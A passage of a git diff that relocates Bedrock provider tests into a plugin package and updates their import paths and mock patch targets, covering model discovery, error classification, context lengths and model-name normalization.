patch("agent.bedrock_adapter._get_bedrock_control_client", return_value=mock_client): + with patch("hermes_agent_bedrock.adapter._get_bedrock_control_client", return_value=mock_client): models = discover_bedrock_models("us-east-1") assert len(models) == 1 assert models[0]["id"] == "us.anthropic.claude-sonnet-4-6" def test_global_profiles_sorted_first(self): - from agent.bedrock_adapter import discover_bedrock_models, reset_discovery_cache + from hermes_agent_bedrock.adapter import discover_bedrock_models, reset_discovery_cache reset_discovery_cache() mock_client = MagicMock() @@ -841,16 +841,16 @@ class TestDiscoverBedrockModels: }], } - with patch("agent.bedrock_adapter._get_bedrock_control_client", return_value=mock_client): + with patch("hermes_agent_bedrock.adapter._get_bedrock_control_client", return_value=mock_client): models = discover_bedrock_models("us-east-1") assert models[0]["id"] == "global.anthropic.claude-v2" def test_handles_api_error_gracefully(self): - from agent.bedrock_adapter import discover_bedrock_models, reset_discovery_cache + from hermes_agent_bedrock.adapter import discover_bedrock_models, reset_discovery_cache reset_discovery_cache() - with patch("agent.bedrock_adapter._get_bedrock_control_client", side_effect=Exception("No creds")): + with patch("hermes_agent_bedrock.adapter._get_bedrock_control_client", side_effect=Exception("No creds")): models = discover_bedrock_models("us-east-1") assert models == [] @@ -858,17 +858,17 @@ class TestDiscoverBedrockModels: class TestExtractProviderFromArn: def test_extracts_anthropic(self): - from agent.bedrock_adapter import _extract_provider_from_arn + from hermes_agent_bedrock.adapter import _extract_provider_from_arn arn = "arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-sonnet-4-6" assert _extract_provider_from_arn(arn) == "anthropic" def test_extracts_amazon(self): - from agent.bedrock_adapter import _extract_provider_from_arn + from hermes_agent_bedrock.adapter import _extract_provider_from_arn arn = "arn:aws:bedrock:us-east-1::foundation-model/amazon.nova-pro-v1:0" assert _extract_provider_from_arn(arn) == "amazon" def test_returns_empty_for_invalid_arn(self): - from agent.bedrock_adapter import _extract_provider_from_arn + from hermes_agent_bedrock.adapter import _extract_provider_from_arn assert _extract_provider_from_arn("not-an-arn") == "" assert _extract_provider_from_arn("") == "" @@ -879,7 +879,7 @@ class TestExtractProviderFromArn: class TestClientCache: def test_reset_clears_caches(self): - from agent.bedrock_adapter import ( + from hermes_agent_bedrock.adapter import ( _bedrock_runtime_client_cache, _bedrock_control_client_cache, reset_client_cache, @@ -899,7 +899,7 @@ class TestStreamConverseWithCallbacks: """Test real-time streaming with delta callbacks.""" def test_text_deltas_fire_callback(self): - from agent.bedrock_adapter import stream_converse_with_callbacks + from hermes_agent_bedrock.adapter import stream_converse_with_callbacks deltas = [] events = {"stream": [ {"messageStart": {"role": "assistant"}}, @@ -918,7 +918,7 @@ class TestStreamConverseWithCallbacks: def test_text_deltas_suppressed_when_tool_use_present(self): """Text deltas should NOT fire when tool_use blocks are present.""" - from agent.bedrock_adapter import stream_converse_with_callbacks + from hermes_agent_bedrock.adapter import stream_converse_with_callbacks deltas = [] events = {"stream": [ {"messageStart": {"role": "assistant"}}, @@ -945,7 +945,7 @@ class TestStreamConverseWithCallbacks: assert len(result.choices[0].message.tool_calls) == 1 def test_tool_start_callback_fires(self): - from agent.bedrock_adapter import stream_converse_with_callbacks + from hermes_agent_bedrock.adapter import stream_converse_with_callbacks tools_started = [] events = {"stream": [ {"messageStart": {"role": "assistant"}}, @@ -965,7 +965,7 @@ class TestStreamConverseWithCallbacks: assert tools_started == ["read_file"] def test_interrupt_stops_processing(self): - from agent.bedrock_adapter import stream_converse_with_callbacks + from hermes_agent_bedrock.adapter import stream_converse_with_callbacks deltas = [] call_count = {"n": 0} events = {"stream": [ @@ -990,7 +990,7 @@ class TestStreamConverseWithCallbacks: assert len(deltas) < 3 def test_reasoning_delta_callback(self): - from agent.bedrock_adapter import stream_converse_with_callbacks + from hermes_agent_bedrock.adapter import stream_converse_with_callbacks reasoning = [] events = {"stream": [ {"messageStart": {"role": "assistant"}}, @@ -1017,7 +1017,7 @@ class TestGuardrailConfig: """Test that guardrail configuration is correctly passed through.""" def test_guardrail_included_in_kwargs(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs guardrail = { "guardrailIdentifier": "gr-abc123", "guardrailVersion": "1", @@ -1032,7 +1032,7 @@ class TestGuardrailConfig: assert kwargs["guardrailConfig"] == guardrail def test_no_guardrail_when_none(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs kwargs = build_converse_kwargs( model="test-model", messages=[{"role": "user", "content": "Hi"}], @@ -1041,7 +1041,7 @@ class TestGuardrailConfig: assert "guardrailConfig" not in kwargs def test_no_guardrail_when_empty_dict(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs kwargs = build_converse_kwargs( model="test-model", messages=[{"role": "user", "content": "Hi"}], @@ -1059,41 +1059,41 @@ class TestBedrockErrorClassification: """Test Bedrock-specific error classification.""" def test_context_overflow_validation_exception(self): - from agent.bedrock_adapter import classify_bedrock_error + from hermes_agent_bedrock.adapter import classify_bedrock_error assert classify_bedrock_error( "ValidationException: input is too long for model" ) == "context_overflow" def test_context_overflow_max_tokens(self): - from agent.bedrock_adapter import classify_bedrock_error + from hermes_agent_bedrock.adapter import classify_bedrock_error assert classify_bedrock_error( "ValidationException: exceeds the maximum number of input tokens" ) == "context_overflow" def test_context_overflow_stream_error(self): - from agent.bedrock_adapter import classify_bedrock_error + from hermes_agent_bedrock.adapter import classify_bedrock_error assert classify_bedrock_error( "ModelStreamErrorException: Input is too long" ) == "context_overflow" def test_rate_limit_throttling(self): - from agent.bedrock_adapter import classify_bedrock_error + from hermes_agent_bedrock.adapter import classify_bedrock_error assert classify_bedrock_error("ThrottlingException: Rate exceeded") == "rate_limit" def test_rate_limit_concurrent(self): - from agent.bedrock_adapter import classify_bedrock_error + from hermes_agent_bedrock.adapter import classify_bedrock_error assert classify_bedrock_error("Too many concurrent requests") == "rate_limit" def test_overloaded_not_ready(self): - from agent.bedrock_adapter import classify_bedrock_error + from hermes_agent_bedrock.adapter import classify_bedrock_error assert classify_bedrock_error("ModelNotReadyException") == "overloaded" def test_overloaded_timeout(self): - from agent.bedrock_adapter import classify_bedrock_error + from hermes_agent_bedrock.adapter import classify_bedrock_error assert classify_bedrock_error("ModelTimeoutException") == "overloaded" def test_unknown_error(self): - from agent.bedrock_adapter import classify_bedrock_error + from hermes_agent_bedrock.adapter import classify_bedrock_error assert classify_bedrock_error("SomeRandomError: something went wrong") == "unknown" @@ -1101,32 +1101,32 @@ class TestBedrockContextLength: """Test Bedrock model context length lookup.""" def test_claude_opus_4_6(self): - from agent.bedrock_adapter import get_bedrock_context_length + from hermes_agent_bedrock.adapter import get_bedrock_context_length assert get_bedrock_context_length("anthropic.claude-opus-4-6-20250514-v1:0") == 200_000 def test_claude_sonnet_versioned(self): - from agent.bedrock_adapter import get_bedrock_context_length + from hermes_agent_bedrock.adapter import get_bedrock_context_length assert get_bedrock_context_length("anthropic.claude-sonnet-4-6-20250514-v1:0") == 200_000 def test_nova_pro(self): - from agent.bedrock_adapter import get_bedrock_context_length + from hermes_agent_bedrock.adapter import get_bedrock_context_length assert get_bedrock_context_length("amazon.nova-pro-v1:0") == 300_000 def test_nova_micro(self): - from agent.bedrock_adapter import get_bedrock_context_length + from hermes_agent_bedrock.adapter import get_bedrock_context_length assert get_bedrock_context_length("amazon.nova-micro-v1:0") == 128_000 def test_unknown_model_gets_default(self): - from agent.bedrock_adapter import get_bedrock_context_length, BEDROCK_DEFAULT_CONTEXT_LENGTH + from hermes_agent_bedrock.adapter import get_bedrock_context_length, BEDROCK_DEFAULT_CONTEXT_LENGTH assert get_bedrock_context_length("unknown.model-v1:0") == BEDROCK_DEFAULT_CONTEXT_LENGTH def test_inference_profile_resolves(self): - from agent.bedrock_adapter import get_bedrock_context_length + from hermes_agent_bedrock.adapter import get_bedrock_context_length # Cross-region inference profiles contain the base model ID assert get_bedrock_context_length("us.anthropic.claude-sonnet-4-6") == 200_000 def test_longest_prefix_wins(self): - from agent.bedrock_adapter import get_bedrock_context_length + from hermes_agent_bedrock.adapter import get_bedrock_context_length # "anthropic.claude-3-5-sonnet" should match before "anthropic.claude-3" assert get_bedrock_context_length("anthropic.claude-3-5-sonnet-20240620-v1:0") == 200_000 @@ -1139,39 +1139,39 @@ class TestModelSupportsToolUse: """Test non-tool-calling model detection.""" def test_claude_supports_tools(self): - from agent.bedrock_adapter import _model_supports_tool_use + from hermes_agent_bedrock.adapter import _model_supports_tool_use assert _model_supports_tool_use("us.anthropic.claude-sonnet-4-6") is True def test_nova_supports_tools(self): - from agent.bedrock_adapter import _model_supports_tool_use + from hermes_agent_bedrock.adapter import _model_supports_tool_use assert _model_supports_tool_use("us.amazon.nova-pro-v1:0") is True def test_deepseek_v3_supports_tools(self): - from agent.bedrock_adapter import _model_supports_tool_use + from hermes_agent_bedrock.adapter import _model_supports_tool_use assert _model_supports_tool_use("deepseek.v3.2") is True def test_llama_supports_tools(self): - from agent.bedrock_adapter import _model_supports_tool_use + from hermes_agent_bedrock.adapter import _model_supports_tool_use assert _model_supports_tool_use("us.meta.llama4-scout-17b-instruct-v1:0") is True def test_deepseek_r1_no_tools(self): - from agent.bedrock_adapter import _model_supports_tool_use + from hermes_agent_bedrock.adapter import _model_supports_tool_use assert _model_supports_tool_use("us.deepseek.r1-v1:0") is False def test_deepseek_r1_alt_format_no_tools(self): - from agent.bedrock_adapter import _model_supports_tool_use + from hermes_agent_bedrock.adapter import _model_supports_tool_use assert _model_supports_tool_use("deepseek-r1") is False def test_stability_no_tools(self): - from agent.bedrock_adapter import _model_supports_tool_use + from hermes_agent_bedrock.adapter import _model_supports_tool_use assert _model_supports_tool_use("stability.stable-diffusion-xl") is False def test_embedding_no_tools(self): - from agent.bedrock_adapter import _model_supports_tool_use + from hermes_agent_bedrock.adapter import _model_supports_tool_use assert _model_supports_tool_use("cohere.embed-v4") is False def test_unknown_model_defaults_to_true(self): - from agent.bedrock_adapter import _model_supports_tool_use + from hermes_agent_bedrock.adapter import _model_supports_tool_use assert _model_supports_tool_use("some-future-model-v1") is True @@ -1179,7 +1179,7 @@ class TestBuildConverseKwargsToolStripping: """Test that tools are stripped for non-tool-calling models.""" def test_tools_included_for_claude(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs tools = [{"type": "function", "function": {"name": "test", "description": "t", "parameters": {}}}] kwargs = build_converse_kwargs( model="us.anthropic.claude-sonnet-4-6", @@ -1189,7 +1189,7 @@ class TestBuildConverseKwargsToolStripping: assert "toolConfig" in kwargs def test_tools_stripped_for_deepseek_r1(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs tools = [{"type": "function", "function": {"name": "test", "description": "t", "parameters": {}}}] kwargs = build_converse_kwargs( model="us.deepseek.r1-v1:0", @@ -1207,35 +1207,35 @@ class TestIsAnthropicBedrockModel: """Test Claude model detection for dual-path routing.""" def test_us_claude_sonnet(self): - from agent.bedrock_adapter import is_anthropic_bedrock_model + from hermes_agent_bedrock.adapter import is_anthropic_bedrock_model assert is_anthropic_bedrock_model("us.anthropic.claude-sonnet-4-6") is True def test_global_claude_opus(self): - from agent.bedrock_adapter import is_anthropic_bedrock_model + from hermes_agent_bedrock.adapter import is_anthropic_bedrock_model assert is_anthropic_bedrock_model("global.anthropic.claude-opus-4-6-v1") is True def test_bare_claude(self): - from agent.bedrock_adapter import is_anthropic_bedrock_model + from hermes_agent_bedrock.adapter import is_anthropic_bedrock_model assert is_anthropic_bedrock_model("anthropic.claude-haiku-4-5-20251001-v1:0") is True def test_nova_is_not_anthropic(self): - from agent.bedrock_adapter import is_anthropic_bedrock_model + from hermes_agent_bedrock.adapter import is_anthropic_bedrock_model assert is_anthropic_bedrock_model("us.amazon.nova-pro-v1:0") is False def test_deepseek_is_not_anthropic(self): - from agent.bedrock_adapter import is_anthropic_bedrock_model + from hermes_agent_bedrock.adapter import is_anthropic_bedrock_model assert is_anthropic_bedrock_model("deepseek.v3.2") is False def test_llama_is_not_anthropic(self): - from agent.bedrock_adapter import is_anthropic_bedrock_model + from hermes_agent_bedrock.adapter import is_anthropic_bedrock_model assert is_anthropic_bedrock_model("us.meta.llama4-scout-17b-instruct-v1:0") is False def test_mistral_is_not_anthropic(self): - from agent.bedrock_adapter import is_anthropic_bedrock_model + from hermes_agent_bedrock.adapter import is_anthropic_bedrock_model assert is_anthropic_bedrock_model("mistral.mistral-large-3-675b-instruct") is False def test_eu_claude(self): - from agent.bedrock_adapter import is_anthropic_bedrock_model + from hermes_agent_bedrock.adapter import is_anthropic_bedrock_model assert is_anthropic_bedrock_model("eu.anthropic.claude-sonnet-4-6") is True @@ -1243,22 +1243,22 @@ class TestEmptyTextBlockFix: """Test that empty text blocks are replaced with space placeholders.""" def test_none_content_gets_space(self): - from agent.bedrock_adapter import _convert_content_to_converse + from hermes_agent_bedrock.adapter import _convert_content_to_converse blocks = _convert_content_to_converse(None) assert blocks[0]["text"] == " " def test_empty_string_gets_space(self): - from agent.bedrock_adapter import _convert_content_to_converse + from hermes_agent_bedrock.adapter import _convert_content_to_converse blocks = _convert_content_to_converse("") assert blocks[0]["text"] == " " def test_whitespace_only_gets_space(self): - from agent.bedrock_adapter import _convert_content_to_converse + from hermes_agent_bedrock.adapter import _convert_content_to_converse blocks = _convert_content_to_converse(" ") assert blocks[0]["text"] == " " def test_real_text_preserved(self): - from agent.bedrock_adapter import _convert_content_to_converse + from hermes_agent_bedrock.adapter import _convert_content_to_converse blocks = _convert_content_to_converse("Hello") assert blocks[0]["text"] == "Hello" @@ -1271,7 +1271,7 @@ class TestInvalidateRuntimeClient: """Per-region eviction used to discard dead/stale bedrock-runtime clients.""" def test_evicts_only_the_target_region(self): - from agent.bedrock_adapter import ( + from hermes_agent_bedrock.adapter import ( _bedrock_runtime_client_cache, invalidate_runtime_client, reset_client_cache, @@ -1287,7 +1287,7 @@ class TestInvalidateRuntimeClient: assert _bedrock_runtime_client_cache["us-west-2"] == "live-client" def test_returns_false_when_region_not_cached(self): - from agent.bedrock_adapter import invalidate_runtime_client, reset_client_cache + from hermes_agent_bedrock.adapter import invalidate_runtime_client, reset_client_cache reset_client_cache() assert invalidate_runtime_client("eu-west-1") is False @@ -1297,27 +1297,27 @@ class TestIsStaleConnectionError: def test_detects_botocore_connection_closed_error(self): pytest.importorskip("botocore", reason="botocore required for Bedrock exception tests") - from agent.bedrock_adapter import is_stale_connection_error + from hermes_agent_bedrock.adapter import is_stale_connection_error from botocore.exceptions import ConnectionClosedError exc = ConnectionClosedError(endpoint_url="https://bedrock.example") assert is_stale_connection_error(exc) is True def test_detects_botocore_endpoint_connection_error(self): pytest.importorskip("botocore", reason="botocore required for Bedrock exception tests") - from agent.bedrock_adapter import is_stale_connection_error + from hermes_agent_bedrock.adapter import is_stale_connection_error from botocore.exceptions import EndpointConnectionError exc = EndpointConnectionError(endpoint_url="https://bedrock.example") assert is_stale_connection_error(exc) is True def test_detects_botocore_read_timeout(self): pytest.importorskip("botocore", reason="botocore required for Bedrock exception tests") - from agent.bedrock_adapter import is_stale_connection_error + from hermes_agent_bedrock.adapter import is_stale_connection_error from botocore.exceptions import ReadTimeoutError exc = ReadTimeoutError(endpoint_url="https://bedrock.example") assert is_stale_connection_error(exc) is True def test_detects_urllib3_protocol_error(self): - from agent.bedrock_adapter import is_stale_connection_error + from hermes_agent_bedrock.adapter import is_stale_connection_error from urllib3.exceptions import ProtocolError exc = ProtocolError("Connection broken") assert is_stale_connection_error(exc) is True @@ -1325,7 +1325,7 @@ class TestIsStaleConnectionError: def test_detects_library_internal_assertion_error(self): """A bare AssertionError raised from inside urllib3/botocore signals a corrupted connection-pool invariant and should trigger eviction.""" - from agent.bedrock_adapter import is_stale_connection_error + from hermes_agent_bedrock.adapter import is_stale_connection_error # Fabricate an AssertionError whose traceback's last frame belongs # to a module named "urllib3.connectionpool". We do this by exec'ing @@ -1341,7 +1341,7 @@ class TestIsStaleConnectionError: def test_detects_botocore_internal_assertion_error(self): """Same as above but for a frame inside the botocore namespace.""" - from agent.bedrock_adapter import is_stale_connection_error + from hermes_agent_bedrock.adapter import is_stale_connection_error fake_globals = {"__name__": "botocore.httpsession"} try: exec("def _boom():\n assert False\n_boom()", fake_globals) @@ -1353,14 +1353,14 @@ class TestIsStaleConnectionError: def test_ignores_application_assertion_error(self): """AssertionError from application code (not urllib3/botocore) should NOT be classified as stale — those are real test/code bugs.""" - from agent.bedrock_adapter import is_stale_connection_error + from hermes_agent_bedrock.adapter import is_stale_connection_error try: assert False, "test-only" # noqa: B011 except AssertionError as exc: assert is_stale_connection_error(exc) is False def test_ignores_unrelated_exceptions(self): - from agent.bedrock_adapter import is_stale_connection_error + from hermes_agent_bedrock.adapter import is_stale_connection_error assert is_stale_connection_error(ValueError("bad input")) is False assert is_stale_connection_error(KeyError("missing")) is False @@ -1372,7 +1372,7 @@ class TestCallConverseInvalidatesOnStaleError: def test_converse_evicts_client_on_stale_error(self): pytest.importorskip("botocore", reason="botocore required for Bedrock exception tests") - from agent.bedrock_adapter import ( + from hermes_agent_bedrock.adapter import ( _bedrock_runtime_client_cache, call_converse, reset_client_cache, @@ -1399,7 +1399,7 @@ class TestCallConverseInvalidatesOnStaleError: def test_converse_stream_evicts_client_on_stale_error(self): pytest.importorskip("botocore", reason="botocore required for Bedrock exception tests") - from agent.bedrock_adapter import ( + from hermes_agent_bedrock.adapter import ( _bedrock_runtime_client_cache, call_converse_stream, reset_client_cache, @@ -1425,7 +1425,7 @@ class TestCallConverseInvalidatesOnStaleError: def test_converse_does_not_evict_on_non_stale_error(self): """Non-stale errors (e.g. ValidationException) leave the client cache alone.""" pytest.importorskip("botocore", reason="botocore required for Bedrock exception tests") - from agent.bedrock_adapter import ( + from hermes_agent_bedrock.adapter import ( _bedrock_runtime_client_cache, call_converse, reset_client_cache, @@ -1452,7 +1452,7 @@ class TestCallConverseInvalidatesOnStaleError: ) def test_converse_leaves_successful_client_in_cache(self): - from agent.bedrock_adapter import ( + from hermes_agent_bedrock.adapter import ( _bedrock_runtime_client_cache, call_converse, reset_client_cache, diff --git a/tests/agent/test_bedrock_integration.py b/plugins/model-providers/bedrock/tests/test_bedrock_integration.py similarity index 93% rename from tests/agent/test_bedrock_integration.py rename to plugins/model-providers/bedrock/tests/test_bedrock_integration.py index a5ab3563381..a4076c81606 100644 --- a/tests/agent/test_bedrock_integration.py +++ b/plugins/model-providers/bedrock/tests/test_bedrock_integration.py @@ -282,7 +282,7 @@ class TestPackaging: # us.anthropic.claude-sonnet-4-5-20250929-v1:0 # apac.anthropic.claude-haiku-4-5 # -# ``agent.anthropic_adapter.normalize_model_name`` converts dots to hyphens +# ``hermes_agent_anthropic.adapter.normalize_model_name`` converts dots to hyphens # unless the caller opts in via ``preserve_dots=True``. Before this fix, # ``AIAgent._anthropic_preserve_dots`` returned False for the ``bedrock`` # provider, so Claude-on-Bedrock requests went out with @@ -360,14 +360,14 @@ class TestBedrockModelNameNormalization: def test_global_anthropic_inference_profile_preserved(self): """The reporter's exact model ID.""" - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name( "global.anthropic.claude-opus-4-7", preserve_dots=True ) == "global.anthropic.claude-opus-4-7" def test_us_anthropic_dated_inference_profile_preserved(self): """Regional + dated Sonnet inference profile.""" - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name( "us.anthropic.claude-sonnet-4-5-20250929-v1:0", preserve_dots=True, @@ -375,7 +375,7 @@ class TestBedrockModelNameNormalization: def test_apac_anthropic_haiku_inference_profile_preserved(self): """APAC inference profile — same structural-dot shape.""" - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name( "apac.anthropic.claude-haiku-4-5", preserve_dots=True ) == "apac.anthropic.claude-haiku-4-5" @@ -385,7 +385,7 @@ class TestBedrockModelNameNormalization: always returned unmangled -- ``preserve_dots`` is irrelevant for these IDs because the dots are namespace separators, not version separators. Regression for #12295.""" - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name( "global.anthropic.claude-opus-4-7", preserve_dots=False ) == "global.anthropic.claude-opus-4-7" @@ -395,7 +395,7 @@ class TestBedrockModelNameNormalization: (e.g. ``anthropic.claude-3-5-sonnet-20241022-v2:0``) use dots as vendor separators and must also survive intact under ``preserve_dots=True``.""" - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name( "anthropic.claude-3-5-sonnet-20241022-v2:0", preserve_dots=True, @@ -410,7 +410,7 @@ class TestBedrockBuildAnthropicKwargsEndToEnd: regression for the reporter's HTTP 400.""" def test_bedrock_inference_profile_survives_build_kwargs(self): - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="global.anthropic.claude-opus-4-7", messages=[{"role": "user", "content": "hi"}], @@ -429,7 +429,7 @@ class TestBedrockBuildAnthropicKwargsEndToEnd: even without ``preserve_dots=True`` -- the prefix auto-detection in ``normalize_model_name`` is the load-bearing piece. Regression for #12295.""" - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="global.anthropic.claude-opus-4-7", messages=[{"role": "user", "content": "hi"}], @@ -447,47 +447,47 @@ class TestBedrockModelIdDetection: regardless of ``preserve_dots``. Regression for #12295.""" def test_bare_bedrock_id_detected(self): - from agent.anthropic_adapter import _is_bedrock_model_id + from hermes_agent_anthropic import _is_bedrock_model_id assert _is_bedrock_model_id("anthropic.claude-opus-4-7") is True def test_regional_us_prefix_detected(self): - from agent.anthropic_adapter import _is_bedrock_model_id + from hermes_agent_anthropic import _is_bedrock_model_id assert _is_bedrock_model_id("us.anthropic.claude-sonnet-4-5-v1:0") is True def test_regional_global_prefix_detected(self): - from agent.anthropic_adapter import _is_bedrock_model_id + from hermes_agent_anthropic import _is_bedrock_model_id assert _is_bedrock_model_id("global.anthropic.claude-opus-4-7") is True def test_regional_eu_prefix_detected(self): - from agent.anthropic_adapter import _is_bedrock_model_id + from hermes_agent_anthropic import _is_bedrock_model_id assert _is_bedrock_model_id("eu.anthropic.claude-sonnet-4-6") is True def test_openrouter_format_not_detected(self): - from agent.anthropic_adapter import _is_bedrock_model_id + from hermes_agent_anthropic import _is_bedrock_model_id assert _is_bedrock_model_id("claude-opus-4.6") is False def test_bare_claude_not_detected(self): - from agent.anthropic_adapter import _is_bedrock_model_id + from hermes_agent_anthropic import _is_bedrock_model_id assert _is_bedrock_model_id("claude-opus-4-7") is False def test_bare_bedrock_id_preserved_without_flag(self): """The primary bug from #12295: ``anthropic.claude-opus-4-7`` sent to bedrock-mantle via auxiliary clients that don't pass ``preserve_dots=True``.""" - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name( "anthropic.claude-opus-4-7", preserve_dots=False ) == "anthropic.claude-opus-4-7" def test_openrouter_dots_still_converted(self): """Non-Bedrock dotted model names must still be converted.""" - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name("claude-opus-4.6") == "claude-opus-4-6" def test_bare_bedrock_id_survives_build_kwargs(self): """End-to-end: bare Bedrock ID through ``build_anthropic_kwargs`` without ``preserve_dots=True`` -- the auxiliary client path.""" - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="anthropic.claude-opus-4-7", messages=[{"role": "user", "content": "hi"}], @@ -517,7 +517,7 @@ class TestAuxiliaryClientBedrockResolution: monkeypatch.setenv("AWS_REGION", "us-west-2") mock_anthropic_bedrock = MagicMock() - with patch("agent.anthropic_adapter.build_anthropic_bedrock_client", + with patch("hermes_agent_anthropic.adapter.build_anthropic_bedrock_client", return_value=mock_anthropic_bedrock): from agent.auxiliary_client import resolve_provider_client, AnthropicAuxiliaryClient client, model = resolve_provider_client("bedrock", None) @@ -533,7 +533,7 @@ class TestAuxiliaryClientBedrockResolution: def test_bedrock_returns_none_without_credentials(self, monkeypatch): """Without AWS credentials, Bedrock should return (None, None) gracefully.""" - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=False): + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=False): from agent.auxiliary_client import resolve_provider_client client, model = resolve_provider_client("bedrock", None) @@ -546,7 +546,7 @@ class TestAuxiliaryClientBedrockResolution: monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY") monkeypatch.setenv("AWS_REGION", "eu-central-1") - with patch("agent.anthropic_adapter.build_anthropic_bedrock_client", + with patch("hermes_agent_anthropic.adapter.build_anthropic_bedrock_client", return_value=MagicMock()): from agent.auxiliary_client import resolve_provider_client client, _ = resolve_provider_client("bedrock", None) @@ -559,7 +559,7 @@ class TestAuxiliaryClientBedrockResolution: monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIAIOSFODNN7EXAMPLE") monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY") - with patch("agent.anthropic_adapter.build_anthropic_bedrock_client", + with patch("hermes_agent_anthropic.adapter.build_anthropic_bedrock_client", return_value=MagicMock()): from agent.auxiliary_client import resolve_provider_client _, model = resolve_provider_client( @@ -573,7 +573,7 @@ class TestAuxiliaryClientBedrockResolution: monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIAIOSFODNN7EXAMPLE") monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY") - with patch("agent.anthropic_adapter.build_anthropic_bedrock_client", + with patch("hermes_agent_anthropic.adapter.build_anthropic_bedrock_client", return_value=MagicMock()): from agent.auxiliary_client import resolve_provider_client, AsyncAnthropicAuxiliaryClient client, model = resolve_provider_client("bedrock", None, async_mode=True) @@ -586,7 +586,7 @@ class TestAuxiliaryClientBedrockResolution: monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIAIOSFODNN7EXAMPLE") monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY") - with patch("agent.anthropic_adapter.build_anthropic_bedrock_client", + with patch("hermes_agent_anthropic.adapter.build_anthropic_bedrock_client", return_value=MagicMock()): from agent.auxiliary_client import resolve_provider_client _, model = resolve_provider_client("bedrock", None) diff --git a/tests/hermes_cli/test_bedrock_model_picker.py b/plugins/model-providers/bedrock/tests/test_bedrock_model_picker.py similarity index 80% rename from tests/hermes_cli/test_bedrock_model_picker.py rename to plugins/model-providers/bedrock/tests/test_bedrock_model_picker.py index 70335be2186..75fcd3b56be 100644 --- a/tests/hermes_cli/test_bedrock_model_picker.py +++ b/plugins/model-providers/bedrock/tests/test_bedrock_model_picker.py @@ -71,8 +71,8 @@ class TestProviderModelIdsBedrock: monkeypatch.setenv("AWS_REGION", "eu-central-1") - with patch("agent.bedrock_adapter.discover_bedrock_models", side_effect=_mock_discover), \ - patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + with patch("hermes_agent_bedrock.adapter.discover_bedrock_models", side_effect=_mock_discover), \ + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): result = provider_model_ids("bedrock") assert "eu.anthropic.claude-sonnet-4-6-20250514-v1:0" in result @@ -83,10 +83,10 @@ class TestProviderModelIdsBedrock: """Different regions produce different model ID prefixes (eu.* vs us.*).""" from hermes_cli.models import provider_model_ids - with patch("agent.bedrock_adapter.discover_bedrock_models", side_effect=_mock_discover): - with patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + with patch("hermes_agent_bedrock.adapter.discover_bedrock_models", side_effect=_mock_discover): + with patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): eu_result = provider_model_ids("bedrock") - with patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="us-east-1"): + with patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="us-east-1"): us_result = provider_model_ids("bedrock") assert all(m.startswith("eu.") for m in eu_result) @@ -97,8 +97,8 @@ class TestProviderModelIdsBedrock: """When discover_bedrock_models() returns [], fall back to curated static list.""" from hermes_cli.models import _PROVIDER_MODELS, provider_model_ids - with patch("agent.bedrock_adapter.discover_bedrock_models", return_value=[]), \ - patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + with patch("hermes_agent_bedrock.adapter.discover_bedrock_models", return_value=[]), \ + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): result = provider_model_ids("bedrock") # Should fall back to static table (may be empty or populated depending on @@ -109,9 +109,9 @@ class TestProviderModelIdsBedrock: """When discover_bedrock_models() raises, fall back gracefully.""" from hermes_cli.models import provider_model_ids - with patch("agent.bedrock_adapter.discover_bedrock_models", + with patch("hermes_agent_bedrock.adapter.discover_bedrock_models", side_effect=Exception("boto3 not installed")), \ - patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): result = provider_model_ids("bedrock") assert isinstance(result, list) # no crash @@ -122,8 +122,8 @@ class TestProviderModelIdsBedrock: _expected_ids = [m["id"] for m in _US_MODELS] - with patch("agent.bedrock_adapter.discover_bedrock_models", side_effect=_mock_discover), \ - 